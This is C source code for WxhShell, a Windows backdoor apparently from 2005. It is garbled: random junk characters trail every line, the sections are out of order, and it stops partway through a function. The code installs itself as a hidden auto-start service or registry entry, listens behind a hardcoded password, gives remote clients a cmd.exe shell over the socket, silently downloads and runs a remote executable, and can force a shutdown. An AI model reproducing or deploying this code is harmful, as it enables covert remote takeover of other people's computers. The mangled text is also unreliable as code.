    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )MZ]c)JD^  
    if(Boot(SHUTDOWN)) t>7t4>X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7Ro7/PT (  
    else { I+D`\OSL  
    closesocket(wsh); & d\`=e  
    ExitThread(0); %}%D8-d}G  
    } J_}&Btb)e  
    break; ogs9obbZ!  
    } 2_vE  
  // 获取shell b5Rjn1@  
  case 's': { B/q/sC  
    CmdShell(wsh); r/HKxXT  
    closesocket(wsh); 0t}=F 4@&a  
    ExitThread(0); W=5+k0Q  
    break; =vT3SY  
  } B3O^(M5W  
  // 退出 aw/Y#  
  case 'x': { -))>7skc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '&Q_5\Tn  
    CloseIt(wsh); cx|[P6d  
    break; SOb17:o3|  
    } M~I M;my  
  // 离开 Vm'ReH  
  case 'q': { j8?$Hk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); b;]'Bo0K  
    closesocket(wsh); {-^>) iJqt  
    WSACleanup(); .2Q`. o)  
    exit(1); fbB(W E+  
    break; BT 98WR"\  
        } -yg9ug  
  } ^4Tr @g#]"  
  } I m_yY  
y 97QqQ^  
  // 提示信息 <%JdQ82?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]O<Yr'  
} vnk"0d.  
  } S#jH2fRo  
{ YJ.BWr  
  return; zN].W\("\  
} u~LisZ&tP  
eQcy'GA06  
// shell模块句柄 uWx/V+w  
int CmdShell(SOCKET sock) dulW!&*No  
{ <$UMMA  
STARTUPINFO si; (S5'iks x  
ZeroMemory(&si,sizeof(si)); uz>s2I}B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wa<@bub  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; > m}.}g8  
PROCESS_INFORMATION ProcessInfo; xVfJ ]Y  
char cmdline[]="cmd"; m f4@g05  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /,Ln)?eD  
  return 0; ?U|~h1   
} 5y=X?hF~)  
4ms hB  
// 自身启动模式 Yr-,0${m  
int StartFromService(void) '  AeU  
{ WRVKh  
typedef struct kG?tgO?*  
{ g/`i:=  
  DWORD ExitStatus; ^%go\ C ;  
  DWORD PebBaseAddress; xd(AUl4qY  
  DWORD AffinityMask; L4Nk+R;  
  DWORD BasePriority; 2(\>PN-  
  ULONG UniqueProcessId; mWmDH74  
  ULONG InheritedFromUniqueProcessId; 5? c4aAn  
}   PROCESS_BASIC_INFORMATION; OMKEn!Wq  
,:>>04O  
PROCNTQSIP NtQueryInformationProcess; 4yRT!k}o  
\VtCkb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g^B 6N F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; WpTC,~-  
s4~c>voQB  
  HANDLE             hProcess; =b`>ggw#  
  PROCESS_BASIC_INFORMATION pbi; aEZl ICpU7  
Yo7ctwzdH;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7t@jj%F  
  if(NULL == hInst ) return 0; y;<jE.7>  
qmxkmO+Qur  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 50_%Tl[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "DRp4;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =@3Qsd  
e#_xDR:  
  if (!NtQueryInformationProcess) return 0; jS R:ltd  
O~ qB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :&_@U$  
  if(!hProcess) return 0; b?w4Nx#  
xg3G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `uzRHbJ`  
UKX'A)$  
  CloseHandle(hProcess); /8Vh G|Wb  
^GRd;v=-@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l8^^ O   
if(hProcess==NULL) return 0; u=ENf1{ $>  
T( ;BEyc?  
HMODULE hMod; .' X$SF`  
char procName[255]; P_b00",S  
unsigned long cbNeeded; !_x-aro3<  
P6IhpB59  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t`F%$q  
f3yZx!K_Br  
  CloseHandle(hProcess); B623B HwS  
eQ C`e#%  
if(strstr(procName,"services")) return 1; // 以服务启动 `0 .5aa  
N|7._AR2  
  return 0; // 注册表启动 [dt1%DD`M  
} 56TUh_  
(F_#LeJ|  
// 主模块 9KAXc(-  
int StartWxhshell(LPSTR lpCmdLine) u_:" u  
{ "]JS,g {m  
  SOCKET wsl; 66z1_ lA  
BOOL val=TRUE; B&.XGo)  
  int port=0; a<vCAFQ  
  struct sockaddr_in door; Gia_B6*Y[  
Qz/=+A/4  
  if(wscfg.ws_autoins) Install(); ;PLby]=O  
bLf }U9  
port=atoi(lpCmdLine); {},G xrQm  
Y|1kE;  
if(port<=0) port=wscfg.ws_port; }dB01Jl '  
tSQ>P -O  
  WSADATA data; n{UB^-}5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; meIY00   
5ue{&z @T  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N^`F_R1Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'z+8;g.ekO  
  door.sin_family = AF_INET; nk6xavQji  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &|gn%<^  
  door.sin_port = htons(port); D+"5R5J",  
4'_uN$${$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \mv7"TM  
closesocket(wsl); A u(Ngq  
return 1; xT=|Uc0  
} 2Uk$9s  
0~^opNR  
  if(listen(wsl,2) == INVALID_SOCKET) { lf Wxdi  
closesocket(wsl); nDaQ1  
return 1; odj|" ZK  
} 4Jo:^JV  
  Wxhshell(wsl); ^WM)UZEBC  
  WSACleanup(); 6'?Y]K  
P_i2yhpK  
return 0; Yo:>m*31  
sFB; /*C  
} +B*ygv:  
i mJ{wF  
// 以NT服务方式启动 i}M&1E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) WFLT[j!1  
{ I_eYTy-a`1  
DWORD   status = 0; #nn2odR  
  DWORD   specificError = 0xfffffff; AA yzT*^  
TX8,+s+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; B4&x?-0ZC  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !XgkK k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0}HKmEM  
  serviceStatus.dwWin32ExitCode     = 0; 2<Ub[R  
  serviceStatus.dwServiceSpecificExitCode = 0; tjO||]I  
  serviceStatus.dwCheckPoint       = 0; 6P+8{ ?V&  
  serviceStatus.dwWaitHint       = 0; }&;0:hw%  
,/JrQWgD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^=Up U B  
  if (hServiceStatusHandle==0) return;  ae#7*B  
Fc42TH p  
status = GetLastError(); lusINILc  
  if (status!=NO_ERROR) t</Kel|D  
{ B||^ sRMX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hIPDJ1a  
    serviceStatus.dwCheckPoint       = 0; N.BD]_C  
    serviceStatus.dwWaitHint       = 0; "hpK8vQ  
    serviceStatus.dwWin32ExitCode     = status; g24)GjDi  
    serviceStatus.dwServiceSpecificExitCode = specificError; )Q(tryiSi  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); RR^I*kRH  
    return; RH>b,  
  } Q_LPLmM  
/3rt]h"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }=7tGqfw  
  serviceStatus.dwCheckPoint       = 0; 4d9i AN  
  serviceStatus.dwWaitHint       = 0; 0XL x@FYn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I=Ws /+  
} luLm:NWUM  
Cl4y9|  
// 处理NT服务事件,比如:启动、停止 QQ1+uY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <k}>eGn  
{ T" 8>6a@}E  
switch(fdwControl) <k/'mBDk  
{ (/Z~0hA[Q  
case SERVICE_CONTROL_STOP: "t`r_Aw  
  serviceStatus.dwWin32ExitCode = 0; 18V*Cu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #y}@FG  
  serviceStatus.dwCheckPoint   = 0; xg\M9&J  
  serviceStatus.dwWaitHint     = 0; 9v<BO$ ,a  
  { Lg_y1Mu7o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rm(<?w%'?  
  } Rm)vY}v  
  return; [$9sr=3:  
case SERVICE_CONTROL_PAUSE: {HvR24#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1H-R-NNJ:  
  break; "op1xto  
case SERVICE_CONTROL_CONTINUE: bHWy9-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; FbW kT4t|  
  break; &g.w~KWa  
case SERVICE_CONTROL_INTERROGATE: Y5cUOfYT  
  break; !z58,hv  
}; 0!_D M^3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p5c'gziR  
} w*#TS8 \  
i LK8Wnrq  
// 标准应用程序主函数 tG{e(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fcD$km  
{ qV9`  
_Vj O [hx  
// 获取操作系统版本 1Qhx$If~  
OsIsNt=GetOsVer(); 7 fqK{^ L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qC.jXU?rO  
/o+, =7hY  
  // 从命令行安装 \qV5mD]"M  
  if(strpbrk(lpCmdLine,"iI")) Install(); Nd^9.6,JU  
Qj[4gN?}=  
  // 下载执行文件 ' OdZ[AN  
if(wscfg.ws_downexe) { /=,^fCCN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A$Es(<'9g  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4h:Oo  
} N$p}rh#7{  
NT= ?@uxD  
if(!OsIsNt) { 5#$E4k:YV  
// 如果时win9x,隐藏进程并且设置为注册表启动 MvL%*("4b  
HideProc(); 2"yzrwZ:  
StartWxhshell(lpCmdLine); C[n,j#Mvje  
} :4]&R9J>o  
else E J q=MP  
  if(StartFromService()) ruB&&C6)v  
  // 以服务方式启动 &=X1kQG  
  StartServiceCtrlDispatcher(DispatchTable); Dn<2.!ZKQ  
else hY-;Wfg  
  // 普通方式启动 SO]x^+[  
  StartWxhshell(lpCmdLine); z})H$]:$  
@T?:[nPf&F  
return 0; R:0Fv9bwS  
} im*QaO%a4  
J);1Tpm  
0pBlmPafY  
\eI )(,A  
=========================================== f.V0uBDN  
r_FW)Fu^  
W\N-~9UA  
-58r* [=8  
f^:9gRt  
P.&,nFIg3  
" FL(gwfL  
\>23_d0  
#include <stdio.h> xO"5bj  
#include <string.h> az F"tke  
#include <windows.h> =QRLKo#_  
#include <winsock2.h> ,UH`l./3DX  
#include <winsvc.h> ib/&8)Y+J  
#include <urlmon.h> <4rF3 aB-  
E88_15'3D  
#pragma comment (lib, "Ws2_32.lib") 2ZNTg@o  
#pragma comment (lib, "urlmon.lib") GB^Ch YOb  
[<`xAh_,  
#define MAX_USER   100 // 最大客户端连接数 u2-%~Rlo  
#define BUF_SOCK   200 // sock buffer i\},  
#define KEY_BUFF   255 // 输入 buffer uAK-%Uu?  
7EQ |p  
#define REBOOT     0   // 重启 N@?Fpmu/k  
#define SHUTDOWN   1   // 关机 fVb&=%e  
"%qGcC8  
#define DEF_PORT   5000 // 监听端口 <3Co/.VQd  
r}D`15IHJ  
#define REG_LEN     16   // 注册表键长度 <`H:Am`  
#define SVC_LEN     80   // NT服务名长度 q,0o:nI  
-[0)n{AVvU  
// 从dll定义API Eq~&d.j  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'u_'y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QOy+T6en  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  {hZ_f3o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o LuGW5wzj  
:E@"4O?<Y)  
// wxhshell配置信息 C1)TEkc"C  
struct WSCFG { A5y?|q>5  
  int ws_port;         // 监听端口 + :iNoDz  
  char ws_passstr[REG_LEN]; // 口令 w<-CKM3qe  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,K3)f.ArYc  
  char ws_regname[REG_LEN]; // 注册表键名 Mm^o3vl  
  char ws_svcname[REG_LEN]; // 服务名 ;w}ZI<ou  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J@p[v3W  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9_5Fl,u z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0K@s_C=n#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no JV(|7Sk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |a3)U%rUEQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g[q1P:I@W  
~O 65=8  
}; h&NcN-["  
GT|=Apnwr%  
// default Wxhshell configuration #N[nvIi}  
struct WSCFG wscfg={DEF_PORT, qZ6P(5X  
    "xuhuanlingzhe", /".+OpL  
    1, ,DXNq`24  
    "Wxhshell", Rkw)IdB  
    "Wxhshell", ~ NK w}6  
            "WxhShell Service", [@uL)*o_#  
    "Wrsky Windows CmdShell Service",  Q.DtC  
    "Please Input Your Password: ", .Rd@,3  
  1, 4g$mz:vo  
  "http://www.wrsky.com/wxhshell.exe", kbM4v G  
  "Wxhshell.exe" dfO@Yo-?*'  
    }; g5; W6QX  
-KCm#!  
// 消息定义模块 kQsyvE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !3kyPoq+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5m=3{lBi  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; CsQ}eW8uEf  
char *msg_ws_ext="\n\rExit."; _;G"{e.=  
char *msg_ws_end="\n\rQuit."; r2M._}bF  
char *msg_ws_boot="\n\rReboot..."; o'D{ql  
char *msg_ws_poff="\n\rShutdown..."; ++5W_Ooep  
char *msg_ws_down="\n\rSave to "; %a{cJ6P  
{h7*a=  
char *msg_ws_err="\n\rErr!"; Z>wg o@z%  
char *msg_ws_ok="\n\rOK!"; rgRh ySud  
k8GcHqNHx  
char ExeFile[MAX_PATH]; S^c5  
int nUser = 0; `Ft.Rwj2:m  
HANDLE handles[MAX_USER]; zq8 z#FN  
int OsIsNt; N|h`}*:x=  
<q~&g &&+  
SERVICE_STATUS       serviceStatus; =L 7scv%i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ZgcA[P  
di "rvw;R  
// 函数声明 @j K7bab:  
int Install(void); 0"ZB|^c=  
int Uninstall(void); B=(m;A#G  
int DownloadFile(char *sURL, SOCKET wsh); Y@Lv>p  
int Boot(int flag); DCACj-f  
void HideProc(void); k =ru) _$2  
int GetOsVer(void); ']Nw{}eS`  
int Wxhshell(SOCKET wsl); lo,?mj%M  
void TalkWithClient(void *cs); {[m %1O1  
int CmdShell(SOCKET sock); @-NdgM<  
int StartFromService(void); Ja4O*C<  
int StartWxhshell(LPSTR lpCmdLine); JrQd7  
%i]q} M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l-Xxur5M'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 17a'C  
2~<?E`+  
// 数据结构和表定义 1,p7Sl^h  
SERVICE_TABLE_ENTRY DispatchTable[] = <*i '  
{ ?}D@{%O3T  
{wscfg.ws_svcname, NTServiceMain}, D^E1  
{NULL, NULL} K=;z&E=<c  
}; JpvE c!cli  
%?' jyK  
// 自我安装 u%Bk"noCa  
int Install(void) po}Jwx!  
{  5%mc|  
  char svExeFile[MAX_PATH]; ; dPyhR  
  HKEY key; n-be8p)-  
  strcpy(svExeFile,ExeFile); |bk.gh  
' JsP9>)  
// 如果是win9x系统,修改注册表设为自启动 YLVIn_\}  
if(!OsIsNt) { %G1kkcdH<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Qr6[h!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3fgVvt-2  
  RegCloseKey(key); iq)4/3"6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /XEUJC4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ob$| IH8.  
  RegCloseKey(key); byR|L:L  
  return 0; GS_'&Yj  
    } \Bg;}\8 X  
  } Q&}`( ]k  
} )mT{w9u  
else { ] mYT!(}  
S c_#BD.  
// 如果是NT以上系统,安装为系统服务 v_3r8My-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7dhip  
if (schSCManager!=0) ;i\m:8!;  
{ |_@ '_  
  SC_HANDLE schService = CreateService ?B3   
  ( N2[EdOJT_  
  schSCManager, ~:~-AXaMT  
  wscfg.ws_svcname, I&^ B?"Y  
  wscfg.ws_svcdisp, 8x#SpDI  
  SERVICE_ALL_ACCESS, *^e06xc:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C3 m_sv#e  
  SERVICE_AUTO_START, dtXtZ!g2  
  SERVICE_ERROR_NORMAL, 6O@Lx ]t  
  svExeFile, 2m72PU<.  
  NULL, nYj7r* e[  
  NULL, $=C ` V  
  NULL, d 5h x%M  
  NULL, D9n+eZ  
  NULL J,=^'K(  
  ); 5+)_d%v=6!  
  if (schService!=0) _ CzAv%  
  { m^^#3*qa  
  CloseServiceHandle(schService); 9 Lqz:4}  
  CloseServiceHandle(schSCManager); frWY8&W^H  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \ow(4O#  
  strcat(svExeFile,wscfg.ws_svcname); lB|.TCbW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7 S%`]M4;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O:dUzZR['  
  RegCloseKey(key);  7re4mrC  
  return 0; **ls 4CE<  
    } TQ5kT?/{  
  } 6p 14BruV  
  CloseServiceHandle(schSCManager); d-]!aFj|U  
} 73!])!SVI  
} ^9|&w.:@Q  
.O PBET(gv  
return 1; @$wfE\_L  
} ]oC7{OoX  
#;'*W$Wk2  
// 自我卸载 n$"B F\eM  
int Uninstall(void) o* QZf *M  
{ 1rh2!4)7  
  HKEY key; ay28%[Q b4  
-"xC\R  
if(!OsIsNt) { V_)465g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m9Dg%\B  
  RegDeleteValue(key,wscfg.ws_regname); yLt>OA<X  
  RegCloseKey(key); yGb^kR}d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x2g=%K=  
  RegDeleteValue(key,wscfg.ws_regname); (HeIO  
  RegCloseKey(key); m=]}Tn  
  return 0; m9aP]I3g]\  
  } ;7!u(XzN  
}  PO=A^b  
} cHwN=mg]S  
else { Q!W+vh  
&F +hh{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [xPO'@Y  
if (schSCManager!=0) f<@`{oP@  
{ ]@sLX ek  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /6p7 k  
  if (schService!=0) <9?`zo$y  
  { ;3sJ7%`v  
  if(DeleteService(schService)!=0) { d^XRkB:h  
  CloseServiceHandle(schService); 2iWxx:e  
  CloseServiceHandle(schSCManager); T- lHlm  
  return 0; H=_k|#/  
  } +RD{<~i  
  CloseServiceHandle(schService); IQ9Rvnna  
  } /k^O1+]H  
  CloseServiceHandle(schSCManager); m?<5-"hz  
} rh(77x1|(G  
} ww~gmz  
&n& ndq  
return 1; X1lL@`r.5  
} +~M`rR*  
|'12Kv]#Xa  
// 从指定url下载文件 \jByJCN  
int DownloadFile(char *sURL, SOCKET wsh) [moz{Y  
{ BO-=X 78f@  
  HRESULT hr; 1;y?!;FD  
char seps[]= "/"; wqf^n-Ze  
char *token; 7_AcvsdW  
char *file; Twr<MXa  
char myURL[MAX_PATH]; E3o J;E  
char myFILE[MAX_PATH]; ] _P!+5]<  
=Ev* Q[  
strcpy(myURL,sURL); NxQ+z^o\  
  token=strtok(myURL,seps); VtC1TZ3-7  
  while(token!=NULL) ,;-55|o\V  
  { F /% 5 r{  
    file=token; Wq]Lb:&{a  
  token=strtok(NULL,seps); ih/MW_t=m=  
  } F;_L/8Ov1  
1t7S:IZ  
GetCurrentDirectory(MAX_PATH,myFILE); ^H UNq[sQ  
strcat(myFILE, "\\"); xk8P4`;d$  
strcat(myFILE, file); R} aHo0r  
  send(wsh,myFILE,strlen(myFILE),0); `O|PP3S  
send(wsh,"...",3,0); m\xE8D(,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o  w<.Dh  
  if(hr==S_OK) Upkw.`D`  
return 0; rZv5>aEI  
else :svRn9_8H  
return 1; _e3kO6X  
!mLY W  
} ]MXeWS(  
Dk XB  
// 系统电源模块 %}asw/WiUa  
int Boot(int flag) Q(Dp116  
{ .oFkx*Ln  
  HANDLE hToken; ~L.)<{?  
  TOKEN_PRIVILEGES tkp; OJ:iQ  
[LJ1wBMw  
  if(OsIsNt) { 3G7Qo  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Vg)]F+E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); } 1 >i  
    tkp.PrivilegeCount = 1; 3,cZ*4('d  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E%vG#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Gmi$Nl!~  
if(flag==REBOOT) { s5TPecd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ta-kqt!'  
  return 0; P+Ta|-  
} > ^b6\  
else { 6R+m;'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U`es n?m!  
  return 0; gL+8fX2G6  
} E}V8+f54S  
  } @,RrAL }|  
  else { u^T{sQ"_  
if(flag==REBOOT) { \?_eQKiZ3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (@H'7,  
  return 0; )r#^{{6[v  
} x7=5 ;gf/X  
else { lth t'|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8%s_~Yc  
  return 0; JR1/\F<}  
} ptXLWv`  
} MH+t`/E0]  
4  |E`  
return 1; +IiL(\ew  
} x>^r%<WbX  
|.x |BJ  
// win9x进程隐藏模块 T=|oZ  
void HideProc(void) fT-yY`  
{ I |?zSFa  
).0h4oHSj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }kaU0 P  
  if ( hKernel != NULL ) #TLqo(/  
  { MX-(;H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !tkP!%w  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y5L%_ {n  
    FreeLibrary(hKernel); }\E2Z[  
  } 8m0GxgS  
ewYZ} "o  
return; f>Mg.9gJ(  
} oe$Y=`  
Hf ]aA_:   
// 获取操作系统版本 )6# i>c-  
int GetOsVer(void) |0vV?f$  
{ ppt`5F O  
  OSVERSIONINFO winfo; )]"aa_20]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [:geDk9O#'  
  GetVersionEx(&winfo); d>z?JD t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `Z*k M VN  
  return 1; zT[[WY4  
  else 4@D 8{?$~Q  
  return 0; H]5%"(h  
} sGjYL>*  
hm=E~wv'L  
// 客户端句柄模块 DGMvYNKTj  
int Wxhshell(SOCKET wsl) ^zPa^lo-  
{ 3+gp_7L  
  SOCKET wsh; FWNO/)~t  
  struct sockaddr_in client; "wi=aV9j  
  DWORD myID; +5Yf9  
Qo>V N`v  
  while(nUser<MAX_USER) L Of0_g/  
{ |tC`rzo  
  int nSize=sizeof(client); Ti`H?9t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7@R;lOzL3  
  if(wsh==INVALID_SOCKET) return 1; lg_X|yhL  
x35(i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R9X* R3nB  
if(handles[nUser]==0) dALJlRo"  
  closesocket(wsh); "V!y"yQ  
else l?:!G7ie  
  nUser++; = 8F/]8_  
  } nd(O;XBI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7(<6+q2~  
{64od0:T  
  return 0; trL:qD+{(  
} Ky33h 0TX  
MsMNP[-l  
// 关闭 socket A+d&aE }3V  
void CloseIt(SOCKET wsh) Wu]D pe  
{ x{IxS?.j+  
closesocket(wsh); kIS_ 6!  
nUser--; ^ sxcBG  
ExitThread(0); s^Lg*t 3I  
} 1*aw~nY0  
z mvF#o  
// 客户端请求句柄 c`w YQUg(  
void TalkWithClient(void *cs) s u]x  
{ GaMiu! |,  
yrO \\No#H  
  SOCKET wsh=(SOCKET)cs; zmk#gk2H  
  char pwd[SVC_LEN]; <`8l8cL  
  char cmd[KEY_BUFF]; {f;]  
char chr[1]; Op^r}7  
int i,j; kae &,'@JF  
fba QXM  
  while (nUser < MAX_USER) { ]AjDe]  
bL>J0LWQ  
if(wscfg.ws_passstr) { 8:V:^`KaSs  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); __Ei;%cV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z>GqLq\`ed  
  //ZeroMemory(pwd,KEY_BUFF); OmO/x  
      i=0; "W:#4@ F  
  while(i<SVC_LEN) { Z["[^=EP  
-z"=d<@  
  // 设置超时 S+LE ASOr  
  fd_set FdRead; k.b->U  
  struct timeval TimeOut; MH;5gC@ `  
  FD_ZERO(&FdRead); Nrp0z:  
  FD_SET(wsh,&FdRead); no_(J>p^&  
  TimeOut.tv_sec=8; *z-Mr~ V  
  TimeOut.tv_usec=0;  [wS~.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Kfho:e,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ys8p,.OMs  
34lt?6%j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tE"aNA#=  
  pwd=chr[0]; 0"q^`@sZ  
  if(chr[0]==0xd || chr[0]==0xa) { !F3Y7R  
  pwd=0; Sl@$  
  break; <[9{Lg*D  
  } N;4tvWI  
  i++; ~V,~' W  
    } $2l<X KT-  
U&W{;myt  
  // 如果是非法用户,关闭 socket k"-2OT  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %au2kG,  
} *` }Rt  
NYS |fa  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qcYF&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m:EO}ws=  
!?t#QD o  
while(1) { Y](kMNUSg  
kjW Y{7b!  
  ZeroMemory(cmd,KEY_BUFF); o[C,fh,$  
p$r=jF&  
      // 自动支持客户端 telnet标准   w9QY2v,U  
  j=0; l ;TWs_N  
  while(j<KEY_BUFF) { 6.X| . N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qY^OO~[  
  cmd[j]=chr[0]; #=~n>qn]  
  if(chr[0]==0xa || chr[0]==0xd) { v6r,2Va/  
  cmd[j]=0; U&DD+4+28:  
  break; [l;9](\8O  
  } *;(wtMg  
  j++; ]xhZJ~"@u  
    } yk1.fxik'  
rGPFPsMQ]  
  // 下载文件 l/|bU9o /u  
  if(strstr(cmd,"http://")) { E+>$@STv#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u} y)'eH  
  if(DownloadFile(cmd,wsh)) >lZ9Y{Y4v  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R $vo  
  else &O0@)jIV  
